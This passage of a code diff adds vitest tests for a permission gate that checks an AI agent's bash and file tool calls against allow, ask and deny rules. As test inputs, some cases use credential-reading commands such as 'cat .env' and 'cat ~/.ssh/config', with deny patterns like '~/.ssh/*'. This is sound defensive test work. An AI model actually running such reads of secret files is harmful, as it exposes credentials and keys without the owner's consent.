|
||||
expect(desc.sessionApproval.patterns.length).toBe(1);
|
||||
expect(desc.preCheck?.state).toBe("ask");
|
||||
});
|
||||
|
||||
it("config-denied path makes worstCheck deny even when another path is ask", async () => {
|
||||
// One path config-denied, one config-ask → descriptor with preCheck.state === "deny".
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) =>
|
||||
intentValues(intent).includes("/outside/a.ts")
|
||||
? makeCheckResult("deny", { source: "special" })
|
||||
: makeCheckResult("ask"),
|
||||
);
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }),
|
||||
resolver,
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.preCheck?.state).toBe("deny");
|
||||
// Both paths are uncovered (neither is allow), so both patterns are included.
|
||||
expect(desc.sessionApproval).toBeDefined();
|
||||
if (!desc.sessionApproval) return;
|
||||
expect(desc.sessionApproval.patterns.length).toBe(2);
|
||||
});
|
||||
|
||||
it("only includes uncovered paths when some are session-covered", async () => {
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) =>
|
||||
intentValues(intent).includes("/outside/a.ts")
|
||||
? makeCheckResult("allow", { source: "session" })
|
||||
: makeCheckResult("ask"),
|
||||
);
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "diff /outside/a.ts /outside/b.ts" } }),
|
||||
resolver,
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
// Should have patterns only for the uncovered path
|
||||
expect(desc.sessionApproval).toBeDefined();
|
||||
if (!desc.sessionApproval) return;
|
||||
expect(desc.sessionApproval.patterns.length).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("describeBashExternalDirectoryGate — Git Bash semantics (win32)", () => {
|
||||
async function describeGateWin32(
|
||||
tcc: ToolCallContext,
|
||||
resolver: ScopedPermissionResolver,
|
||||
): Promise<GateResult> {
|
||||
const command = getNonEmptyString(toRecord(tcc.input).command);
|
||||
const bashProgram =
|
||||
tcc.toolName === "bash" && command
|
||||
? await BashProgram.parse(
|
||||
command,
|
||||
new PathNormalizer(win32PathFlavor, tcc.cwd),
|
||||
)
|
||||
: null;
|
||||
return describeBashExternalDirectoryGate(tcc, bashProgram, resolver);
|
||||
}
|
||||
|
||||
const winTcc = (command: string): ToolCallContext =>
|
||||
makeTcc({ cwd: "C:/projects/app", input: { command } });
|
||||
|
||||
it("does not prompt for a /dev/null redirect target", async () => {
|
||||
const result = await describeGateWin32(
|
||||
winTcc("echo hi > /dev/null"),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("prompts for a /tmp path displayed as typed, not as C:\\tmp", async () => {
|
||||
const result = await describeGateWin32(
|
||||
winTcc("ls /tmp"),
|
||||
makeResolver(makeCheckResult("ask")),
|
||||
);
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect(externalPaths((result as GateDescriptor).payload)).toEqual(["/tmp"]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,437 @@
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Mock node:os so tilde-expansion is deterministic across platforms.
|
||||
vi.mock("node:os", () => {
|
||||
const homedir = vi.fn(() => "/mock/home");
|
||||
return {
|
||||
homedir,
|
||||
default: { homedir },
|
||||
};
|
||||
});
|
||||
|
||||
import { AccessPath } from "#src/access-intent/access-path";
|
||||
import { BashProgram } from "#src/access-intent/bash/program";
|
||||
import { describeBashPathGate } from "#src/handlers/gates/bash-path";
|
||||
import type {
|
||||
GateBypass,
|
||||
GateDescriptor,
|
||||
GateResult,
|
||||
} from "#src/handlers/gates/descriptor";
|
||||
import { isGateBypass, isGateDescriptor } from "#src/handlers/gates/descriptor";
|
||||
import type { ToolCallContext } from "#src/handlers/gates/types";
|
||||
import { pathFlavorForPlatform, posixPathFlavor } from "#src/path/path-flavor";
|
||||
import { PathNormalizer } from "#src/path-normalizer";
|
||||
import type { ScopedPermissionResolver } from "#src/permission-resolver";
|
||||
import { getNonEmptyString, toRecord } from "#src/value-guards";
|
||||
|
||||
import {
|
||||
makeGateCheckResult as makeCheckResult,
|
||||
makePathDispatchResolver,
|
||||
makeResolver,
|
||||
makeTcc,
|
||||
} from "#test/helpers/gate-fixtures";
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
/**
|
||||
* Mirror the handler's parse-once derivation: parse the bash command into a
|
||||
* shared `BashProgram` and inject it, exactly as `permission-gate-handler.ts`
|
||||
* does, so the gate is exercised through the production wiring.
|
||||
*/
|
||||
async function describeGate(
|
||||
tcc: ToolCallContext,
|
||||
resolver: ScopedPermissionResolver,
|
||||
): Promise<GateResult> {
|
||||
return describeGateOnPlatform(process.platform, tcc, resolver);
|
||||
}
|
||||
|
||||
/**
|
||||
* Variant of {@link describeGate} that injects an explicit host platform, so a
|
||||
* win32-specific decision can be exercised on a POSIX CI host (and vice versa)
|
||||
* without mocking `node:path` (#520).
|
||||
*/
|
||||
async function describeGateOnPlatform(
|
||||
platform: NodeJS.Platform,
|
||||
tcc: ToolCallContext,
|
||||
resolver: ScopedPermissionResolver,
|
||||
): Promise<GateResult> {
|
||||
const command = getNonEmptyString(toRecord(tcc.input).command);
|
||||
const bashProgram =
|
||||
tcc.toolName === "bash" && command
|
||||
? await BashProgram.parse(
|
||||
command,
|
||||
new PathNormalizer(pathFlavorForPlatform(platform), tcc.cwd),
|
||||
)
|
||||
: null;
|
||||
return describeBashPathGate(tcc, bashProgram, resolver);
|
||||
}
|
||||
|
||||
// ── tests ──────────────────────────────────────────────────────────────────
|
||||
|
||||
describe("describeBashPathGate", () => {
|
||||
it("returns null for non-bash tools", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc({ toolName: "read", input: { path: ".env" } }),
|
||||
makeResolver(),
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when no tokens are extracted", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "echo hello" } }),
|
||||
makeResolver(),
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when all tokens evaluate to allow", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc(),
|
||||
makeResolver(makeCheckResult({ state: "allow" })),
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns GateDescriptor when a token evaluates to deny", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc(),
|
||||
makeResolver(makeCheckResult({ state: "deny", matchedPattern: "*.env" })),
|
||||
);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.surface).toBe("path");
|
||||
expect(desc.preCheck?.state).toBe("deny");
|
||||
});
|
||||
|
||||
it("returns GateDescriptor when a token evaluates to ask", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc(),
|
||||
makeResolver(makeCheckResult({ state: "ask", matchedPattern: "*" })),
|
||||
);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.preCheck?.state).toBe("ask");
|
||||
});
|
||||
|
||||
it("descriptor includes triggering token in prompt message", async () => {
|
||||
const result = (await describeGate(
|
||||
makeTcc(),
|
||||
makeResolver(makeCheckResult({ state: "deny", matchedPattern: "*.env" })),
|
||||
)) as GateDescriptor;
|
||||
expect(result.promptDetails.command).toBe("cat .env");
|
||||
// The bash path gate asks about the offending token, not the command.
|
||||
expect(result.payload.kind).toBe("path");
|
||||
expect(result.payload.request.value).toBe(".env");
|
||||
});
|
||||
|
||||
it("descriptor decision uses surface 'path'", async () => {
|
||||
const result = (await describeGate(
|
||||
makeTcc(),
|
||||
makeResolver(makeCheckResult({ state: "deny", matchedPattern: "*.env" })),
|
||||
)) as GateDescriptor;
|
||||
expect(result.decision.surface).toBe("path");
|
||||
});
|
||||
|
||||
it("carries the deciding token's access facts on promptDetails (bash path surface)", async () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
|
||||
);
|
||||
const result = (await describeGate(makeTcc(), resolver)) as GateDescriptor;
|
||||
// The facts are the string projection of the same AccessPath the gate
|
||||
// resolved for the deciding token.
|
||||
const intent = resolver.resolve.mock.calls.at(-1)?.[0];
|
||||
const path = intent?.kind === "access-path" ? intent.path : undefined;
|
||||
expect(path).toBeDefined();
|
||||
expect(result.promptDetails.accessIntent).toEqual({
|
||||
surface: "path",
|
||||
matchValues: path?.matchValues(),
|
||||
boundaryValue: path?.boundaryValue(),
|
||||
});
|
||||
});
|
||||
|
||||
it("returns GateBypass when session rule covers the path", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc(),
|
||||
makeResolver(makeCheckResult({ state: "allow", source: "session" })),
|
||||
);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateBypass(result)).toBe(true);
|
||||
expect((result as GateBypass).action).toBe("allow");
|
||||
expect((result as GateBypass).decidedBy).toEqual({
|
||||
kind: "session_approval",
|
||||
surface: "path",
|
||||
pattern: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("returns null when command is missing", async () => {
|
||||
const result = await describeGate(makeTcc({ input: {} }), makeResolver());
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("evaluates most restrictive across multiple tokens", async () => {
|
||||
const resolver = makePathDispatchResolver(
|
||||
{ "src/foo.ts": makeCheckResult({ state: "allow" }) },
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*.env" }),
|
||||
);
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "cat src/foo.ts .env" } }),
|
||||
resolver,
|
||||
);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect((result as GateDescriptor).preCheck?.state).toBe("deny");
|
||||
});
|
||||
|
||||
it("deny wins in multi-token: cp .env README.md", async () => {
|
||||
const resolver = makePathDispatchResolver(
|
||||
{ ".env": makeCheckResult({ state: "deny", matchedPattern: "*.env" }) },
|
||||
makeCheckResult({ state: "allow" }),
|
||||
);
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "cp .env README.md" } }),
|
||||
resolver,
|
||||
);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.preCheck?.state).toBe("deny");
|
||||
expect(desc.decision.value).toBe(".env");
|
||||
});
|
||||
|
||||
it("extracts redirect target: echo test > .env triggers deny", async () => {
|
||||
const resolver = makePathDispatchResolver(
|
||||
{ ".env": makeCheckResult({ state: "deny", matchedPattern: "*.env" }) },
|
||||
makeCheckResult({ state: "allow" }),
|
||||
);
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "echo test > .env" } }),
|
||||
resolver,
|
||||
);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect((result as GateDescriptor).preCheck?.state).toBe("deny");
|
||||
});
|
||||
|
||||
it("returns null when all tokens match only the universal default", async () => {
|
||||
const result = await describeGate(
|
||||
makeTcc(),
|
||||
makeResolver(
|
||||
makeCheckResult({
|
||||
state: "ask",
|
||||
matchedPattern: undefined,
|
||||
source: "special",
|
||||
origin: "builtin",
|
||||
}),
|
||||
),
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("ignores tokens matching universal default but fires for explicit rule matches", async () => {
|
||||
const resolver = makePathDispatchResolver(
|
||||
{ ".env": makeCheckResult({ state: "deny", matchedPattern: "*.env" }) },
|
||||
// Other tokens match only the universal default (no matchedPattern)
|
||||
makeCheckResult({
|
||||
state: "ask",
|
||||
matchedPattern: undefined,
|
||||
source: "special",
|
||||
origin: "builtin",
|
||||
}),
|
||||
);
|
||||
const result = await describeGate(
|
||||
makeTcc({ input: { command: "cat src/foo.ts .env" } }),
|
||||
resolver,
|
||||
);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
const desc = result as GateDescriptor;
|
||||
expect(desc.preCheck?.state).toBe("deny");
|
||||
expect(desc.decision.value).toBe(".env");
|
||||
});
|
||||
|
||||
it("resolves cd-aware policy values while keeping the raw prompt token", async () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
);
|
||||
const result = (await describeGate(
|
||||
makeTcc({
|
||||
input: { command: "cd nested && cat src/file.txt" },
|
||||
cwd: "/test/project",
|
||||
}),
|
||||
resolver,
|
||||
)) as GateDescriptor;
|
||||
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "access-path",
|
||||
surface: "path",
|
||||
path: AccessPath.forPath("src/file.txt", {
|
||||
cwd: "/test/project",
|
||||
resolveBase: "/test/project/nested",
|
||||
flavor: posixPathFlavor,
|
||||
}),
|
||||
agentName: undefined,
|
||||
});
|
||||
// The raw token drives the prompt payload, the decision, and the approval.
|
||||
expect(result.payload.request.value).toBe("src/file.txt");
|
||||
expect(result.decision.value).toBe("src/file.txt");
|
||||
});
|
||||
|
||||
it("does not resolve relative policy values through an unknown cd", async () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "deny", matchedPattern: "*" }),
|
||||
);
|
||||
await describeGate(
|
||||
makeTcc({
|
||||
input: { command: 'cd "$DIR" && cat src/foo.ts' },
|
||||
cwd: "/test/project",
|
||||
}),
|
||||
resolver,
|
||||
);
|
||||
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "access-path",
|
||||
surface: "path",
|
||||
path: AccessPath.forLiteral("src/foo.ts"),
|
||||
agentName: undefined,
|
||||
});
|
||||
});
|
||||
|
||||
it("binds a current-directory token's session approval to the cwd subtree", async () => {
|
||||
const resolver = makeResolver(
|
||||
makeCheckResult({ state: "ask", matchedPattern: "*" }),
|
||||
);
|
||||
const result = (await describeGate(
|
||||
makeTcc({
|
||||
input: { command: "cat .env" },
|
||||
cwd: "/test/project",
|
||||
}),
|
||||
resolver,
|
||||
)) as GateDescriptor;
|
||||
|
||||
expect(result.decision.value).toBe(".env");
|
||||
expect(result.sessionApproval?.surface).toBe("path");
|
||||
expect(result.sessionApproval?.representativePattern).toBe(
|
||||
"/test/project/*",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
// Home-relative path characterization (#350) ──────────────────────────────
|
||||
//
|
||||
// The parser extracts ~/... tokens from bash commands; the resolver receives
|
||||
// the raw token and normalizeInput handles expansion. These tests verify the
|
||||
// gate correctly dispatches ~/... tokens through the deny/ask path.
|
||||
|
||||
describe("describeBashPathGate — home-relative paths", () => {
|
||||
it("extracts ~/... token and builds descriptor on deny", async () => {
|
||||
// node:os is mocked: homedir() returns "/mock/home".
|
||||
// cat ~/.ssh/config → token "~/.ssh/config" extracted.
|
||||
const resolver = makePathDispatchResolver(
|
||||
{
|
||||
"/mock/home/.ssh/config": makeCheckResult({
|
||||
state: "deny",
|
||||
matchedPattern: "~/.ssh/*",
|
||||
}),
|
||||
},
|
||||
makeCheckResult({ state: "allow" }),
|
||||
);
|
||||
const result = (await describeGate(
|
||||
makeTcc({ input: { command: "cat ~/.ssh/config" } }),
|
||||
resolver,
|
||||
)) as GateDescriptor;
|
||||
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect(result.preCheck?.state).toBe("deny");
|
||||
expect(result.promptDetails.command).toBe("cat ~/.ssh/config");
|
||||
expect(result.payload.request.value).toBe("~/.ssh/config");
|
||||
});
|
||||
|
||||
it("extracts $HOME/... token and builds descriptor on deny", async () => {
|
||||
const resolver = makePathDispatchResolver(
|
||||
{
|
||||
"/mock/home/.ssh/config": makeCheckResult({
|
||||
state: "deny",
|
||||
matchedPattern: "$HOME/.ssh/*",
|
||||
}),
|
||||
},
|
||||
makeCheckResult({ state: "allow" }),
|
||||
);
|
||||
const result = (await describeGate(
|
||||
makeTcc({ input: { command: "cat $HOME/.ssh/config" } }),
|
||||
resolver,
|
||||
)) as GateDescriptor;
|
||||
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect(result.preCheck?.state).toBe("deny");
|
||||
// A plain `$HOME` reference is resolved at token collection (#694), so the
|
||||
// displayed token is the path the shell will actually touch — and it now
|
||||
// agrees with the session-approval pattern, which has always been derived
|
||||
// from the expanded `AccessPath.value()`. A `~` token keeps its raw
|
||||
// spelling: it is shape-classified directly and never needed
|
||||
// collection-time expansion.
|
||||
expect(result.payload.request.value).toBe("/mock/home/.ssh/config");
|
||||
});
|
||||
});
|
||||
|
||||
// Win32 backslash-relative path gating (#520) ──────────────────────────────
|
||||
//
|
||||
// On Windows a backslash is a path separator, so a backslash-relative bash
|
||||
// argument (`cat dir\file`) must be gated by a `path` rule the same as its
|
||||
// forward-slash equivalent (`dir/file`). On POSIX `\` is a legal filename
|
||||
// character, so the token stays bare and is not gated.
|
||||
|
||||
describe("describeBashPathGate — win32 backslash-relative paths", () => {
|
||||
it("denies a backslash-relative token matching a path rule on win32", async () => {
|
||||
// The win32 normalizer resolves `dir\file` to matchValues including the
|
||||
// relative `dir\file` alias, which the rule (`dir/file`, folded to
|
||||
// `dir\file` under win32 separators) matches.
|
||||
const resolver = makePathDispatchResolver(
|
||||
{
|
||||
"dir\\file": makeCheckResult({
|
||||
state: "deny",
|
||||
matchedPattern: "dir/file",
|
||||
}),
|
||||
},
|
||||
makeCheckResult({ state: "allow" }),
|
||||
);
|
||||
const result = (await describeGateOnPlatform(
|
||||
"win32",
|
||||
makeTcc({
|
||||
input: { command: "cat dir\\file" },
|
||||
cwd: "C:\\Projects\\App",
|
||||
}),
|
||||
resolver,
|
||||
)) as GateDescriptor;
|
||||
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
expect(result.preCheck?.state).toBe("deny");
|
||||
expect(result.payload.request.value).toBe("dir\\file");
|
||||
});
|
||||
|
||||
it("does not gate a backslash-relative token on posix (stays bare)", async () => {
|
||||
const resolver = makePathDispatchResolver(
|
||||
{
|
||||
"dir\\file": makeCheckResult({
|
||||
state: "deny",
|
||||
matchedPattern: "dir/file",
|
||||
}),
|
||||
},
|
||||
makeCheckResult({ state: "allow" }),
|
||||
);
|
||||
const result = await describeGateOnPlatform(
|
||||
"linux",
|
||||
makeTcc({
|
||||
input: { command: "cat dir\\file" },
|
||||
cwd: "/projects/app",
|
||||
}),
|
||||
resolver,
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
import { pickMostRestrictive } from "#src/handlers/gates/candidate-check";
|
||||
|
||||
import { makeGateCheckResult } from "#test/helpers/gate-fixtures";
|
||||
|
||||
describe("pickMostRestrictive", () => {
|
||||
it("returns undefined for an empty list", () => {
|
||||
expect(pickMostRestrictive([])).toBeUndefined();
|
||||
});
|
||||
|
||||
it("returns the single result for a one-element list", () => {
|
||||
const only = makeGateCheckResult({ state: "allow" });
|
||||
expect(pickMostRestrictive([only])).toBe(only);
|
||||
});
|
||||
|
||||
it("prefers deny over ask and allow regardless of position", () => {
|
||||
const allow = makeGateCheckResult({ state: "allow", matchedPattern: "a" });
|
||||
const ask = makeGateCheckResult({ state: "ask", matchedPattern: "b" });
|
||||
const deny = makeGateCheckResult({ state: "deny", matchedPattern: "c" });
|
||||
expect(pickMostRestrictive([allow, ask, deny])).toBe(deny);
|
||||
expect(pickMostRestrictive([deny, ask, allow])).toBe(deny);
|
||||
});
|
||||
|
||||
it("prefers ask over allow when no deny is present", () => {
|
||||
const allow = makeGateCheckResult({ state: "allow" });
|
||||
const ask = makeGateCheckResult({ state: "ask" });
|
||||
expect(pickMostRestrictive([allow, ask])).toBe(ask);
|
||||
});
|
||||
|
||||
it("keeps the first deny on ties", () => {
|
||||
const deny1 = makeGateCheckResult({
|
||||
state: "deny",
|
||||
matchedPattern: "first",
|
||||
});
|
||||
const deny2 = makeGateCheckResult({
|
||||
state: "deny",
|
||||
matchedPattern: "second",
|
||||
});
|
||||
expect(pickMostRestrictive([deny1, deny2])).toBe(deny1);
|
||||
});
|
||||
|
||||
it("keeps the first ask on ties when no deny is present", () => {
|
||||
const allow = makeGateCheckResult({ state: "allow" });
|
||||
const ask1 = makeGateCheckResult({ state: "ask", matchedPattern: "first" });
|
||||
const ask2 = makeGateCheckResult({
|
||||
state: "ask",
|
||||
matchedPattern: "second",
|
||||
});
|
||||
expect(pickMostRestrictive([allow, ask1, ask2])).toBe(ask1);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,135 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { AccessPath } from "#src/access-intent/access-path";
|
||||
import {
|
||||
resolveExternalDirectoryPolicy,
|
||||
selectUncoveredExternalPaths,
|
||||
} from "#src/handlers/gates/external-directory-policy";
|
||||
import { posixPathFlavor } from "#src/path/path-flavor";
|
||||
import type { PermissionCheckResult } from "#src/types";
|
||||
|
||||
import { makeResolver } from "#test/helpers/gate-fixtures";
|
||||
|
||||
const cwd = "/test/project";
|
||||
|
||||
function makeCheckResult(
|
||||
state: "allow" | "deny" | "ask",
|
||||
overrides: Partial<PermissionCheckResult> = {},
|
||||
): PermissionCheckResult {
|
||||
return {
|
||||
state,
|
||||
toolName: "external_directory",
|
||||
source: "special",
|
||||
origin: "builtin",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("resolveExternalDirectoryPolicy", () => {
|
||||
it("resolves the path's match aliases on the external_directory surface (#418)", () => {
|
||||
const path = AccessPath.forPath("/outside/a.ts", {
|
||||
cwd,
|
||||
flavor: posixPathFlavor,
|
||||
});
|
||||
const resolver = makeResolver(makeCheckResult("ask"));
|
||||
|
||||
const result = resolveExternalDirectoryPolicy(path, resolver, undefined);
|
||||
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "access-path",
|
||||
surface: "external_directory",
|
||||
path,
|
||||
agentName: undefined,
|
||||
});
|
||||
expect(result).toEqual(makeCheckResult("ask"));
|
||||
});
|
||||
|
||||
it("threads the agent name through to the resolver", () => {
|
||||
const path = AccessPath.forPath("/outside/a.ts", {
|
||||
cwd,
|
||||
flavor: posixPathFlavor,
|
||||
});
|
||||
const resolver = makeResolver(makeCheckResult("allow"));
|
||||
|
||||
resolveExternalDirectoryPolicy(path, resolver, "reviewer");
|
||||
|
||||
expect(resolver.resolve).toHaveBeenCalledWith({
|
||||
kind: "access-path",
|
||||
surface: "external_directory",
|
||||
path,
|
||||
agentName: "reviewer",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("selectUncoveredExternalPaths", () => {
|
||||
it("returns no uncovered paths when every path resolves to allow", () => {
|
||||
const paths = [
|
||||
AccessPath.forPath("/outside/a.ts", { cwd, flavor: posixPathFlavor }),
|
||||
AccessPath.forPath("/outside/b.ts", { cwd, flavor: posixPathFlavor }),
|
||||
];
|
||||
const resolver = makeResolver(makeCheckResult("allow"));
|
||||
|
||||
const { uncovered, worstCheck } = selectUncoveredExternalPaths(
|
||||
paths,
|
||||
resolver,
|
||||
undefined,
|
||||
);
|
||||
|
||||
expect(uncovered).toEqual([]);
|
||||
expect(worstCheck).toBeUndefined();
|
||||
});
|
||||
|
||||
it("collects only paths whose resolved state is not allow", () => {
|
||||
const allowed = AccessPath.forPath("/outside/ok.ts", {
|
||||
cwd,
|
||||
flavor: posixPathFlavor,
|
||||
});
|
||||
const asked = AccessPath.forPath("/outside/ask.ts", {
|
||||
cwd,
|
||||
flavor: posixPathFlavor,
|
||||
});
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) => {
|
||||
const values =
|
||||
intent.kind === "access-path" ? intent.path.matchValues() : [];
|
||||
return values.includes("/outside/ok.ts")
|
||||
? makeCheckResult("allow")
|
||||
: makeCheckResult("ask");
|
||||
});
|
||||
|
||||
const { uncovered } = selectUncoveredExternalPaths(
|
||||
[allowed, asked],
|
||||
resolver,
|
||||
undefined,
|
||||
);
|
||||
|
||||
expect(uncovered.map(({ path }) => path.value())).toEqual([asked.value()]);
|
||||
});
|
||||
|
||||
it("returns the most restrictive uncovered check as worstCheck (deny > ask)", () => {
|
||||
const asked = AccessPath.forPath("/outside/ask.ts", {
|
||||
cwd,
|
||||
flavor: posixPathFlavor,
|
||||
});
|
||||
const denied = AccessPath.forPath("/outside/deny.ts", {
|
||||
cwd,
|
||||
flavor: posixPathFlavor,
|
||||
});
|
||||
const resolver = makeResolver();
|
||||
resolver.resolve.mockImplementation((intent) => {
|
||||
const values =
|
||||
intent.kind === "access-path" ? intent.path.matchValues() : [];
|
||||
return values.includes("/outside/deny.ts")
|
||||
? makeCheckResult("deny")
|
||||
: makeCheckResult("ask");
|
||||
});
|
||||
|
||||
const { worstCheck } = selectUncoveredExternalPaths(
|
||||
[asked, denied],
|
||||
resolver,
|
||||
undefined,
|
||||
);
|
||||
|
||||
expect(worstCheck?.state).toBe("deny");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,304 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
import type {
|
||||
GateBypass,
|
||||
GateDescriptor,
|
||||
} from "#src/handlers/gates/descriptor";
|
||||
import { isGateBypass, isGateDescriptor } from "#src/handlers/gates/descriptor";
|
||||
import { describeExternalDirectoryGate } from "#src/handlers/gates/external-directory";
|
||||
import type { ToolCallContext } from "#src/handlers/gates/types";
|
||||
import { pathFlavorForPlatform } from "#src/path/path-flavor";
|
||||
import { PathNormalizer } from "#src/path-normalizer";
|
||||
import type { ScopedPermissionResolver } from "#src/permission-resolver";
|
||||
import type { ToolAccessExtractorLookup } from "#src/tool-access-extractor-registry";
|
||||
import { makeResolver } from "#test/helpers/gate-fixtures";
|
||||
import { makeCheckResult } from "#test/helpers/handler-fixtures";
|
||||
|
||||
// ── helpers ───────────────────────────��────────────────────────────��───────
|
||||
|
||||
function makeTcc(overrides: Partial<ToolCallContext> = {}): ToolCallContext {
|
||||
return {
|
||||
toolName: "read",
|
||||
agentName: null,
|
||||
input: { path: "/outside/project/file.ts" },
|
||||
toolCallId: "tc-1",
|
||||
cwd: "/test/project",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
// Default resolver for descriptor-shape tests that do not assert the resolved
|
||||
// state: returns `ask` for the external_directory surface so a descriptor is
|
||||
// produced. Tests that assert the typed+resolved matching pass an explicit
|
||||
// resolver to `describeExternalDirectoryGate` directly.
|
||||
function gateUnderTest(
|
||||
tcc: ToolCallContext,
|
||||
infraDirs: string[],
|
||||
extractors?: ToolAccessExtractorLookup,
|
||||
resolver: ScopedPermissionResolver = makeResolver(
|
||||
makeCheckResult({ state: "ask", toolName: "external_directory" }),
|
||||
),
|
||||
) {
|
||||
return describeExternalDirectoryGate(
|
||||
tcc,
|
||||
infraDirs,
|
||||
resolver,
|
||||
new PathNormalizer(pathFlavorForPlatform(process.platform), tcc.cwd),
|
||||
extractors,
|
||||
);
|
||||
}
|
||||
|
||||
// ── tests ────────────────────��────────────────────────────────────��────────
|
||||
|
||||
describe("describeExternalDirectoryGate", () => {
|
||||
it("returns null when tool is not path-bearing", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({ toolName: "bash", input: { command: "ls" } }),
|
||||
["/test/agent"],
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when path is inside CWD", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({ input: { path: "/test/project/src/index.ts" } }),
|
||||
["/test/agent"],
|
||||
);
|
||||
expect(result).toBeNull();
|
||||
});
|
||||
|
||||
// ── Pi infrastructure read bypass ─────────────────���────────────────────
|
||||
|
||||
it("returns GateBypass for read targeting an infra dir", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({
|
||||
toolName: "read",
|
||||
input: { path: "/test/agent/git/some-package/SKILL.md" },
|
||||
}),
|
||||
["/test/agent", "/test/agent/git"],
|
||||
);
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateBypass(result)).toBe(true);
|
||||
const bypass = result as GateBypass;
|
||||
expect(bypass.action).toBe("allow");
|
||||
expect(bypass.decision).toMatchObject({
|
||||
resolution: "infrastructure_auto_allowed",
|
||||
result: "allow",
|
||||
});
|
||||
expect(bypass.log).toMatchObject({
|
||||
event: "permission_request.infrastructure_auto_allowed",
|
||||
});
|
||||
// Containment allowed this, not a rule the operator wrote.
|
||||
expect(bypass.decidedBy).toEqual({ kind: "infrastructure_read" });
|
||||
});
|
||||
|
||||
it("returns GateBypass respecting custom infraDirs", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({
|
||||
toolName: "read",
|
||||
input: { path: "/custom/infra/SKILL.md" },
|
||||
}),
|
||||
["/custom/infra"],
|
||||
);
|
||||
expect(isGateBypass(result)).toBe(true);
|
||||
});
|
||||
|
||||
it("does NOT bypass for write tools targeting infra dirs", () => {
|
||||
const result = gateUnderTest(
|
||||
makeTcc({
|
||||
toolName: "write",
|
||||
input: { path: "/test/agent/git/some-file.ts", content: "x" },
|
||||
}),
|
||||
["/test/agent", "/test/agent/git"],
|
||||
);
|
||||
// Should be a GateDescriptor (needs permission check), not a bypass
|
||||
expect(result).not.toBeNull();
|
||||
expect(isGateDescriptor(result)).toBe(true);
|
||||
});
|
||||
|
||||
// ── GateDescriptor for external paths ─────────────────────────────────��
|
||||
|
||||
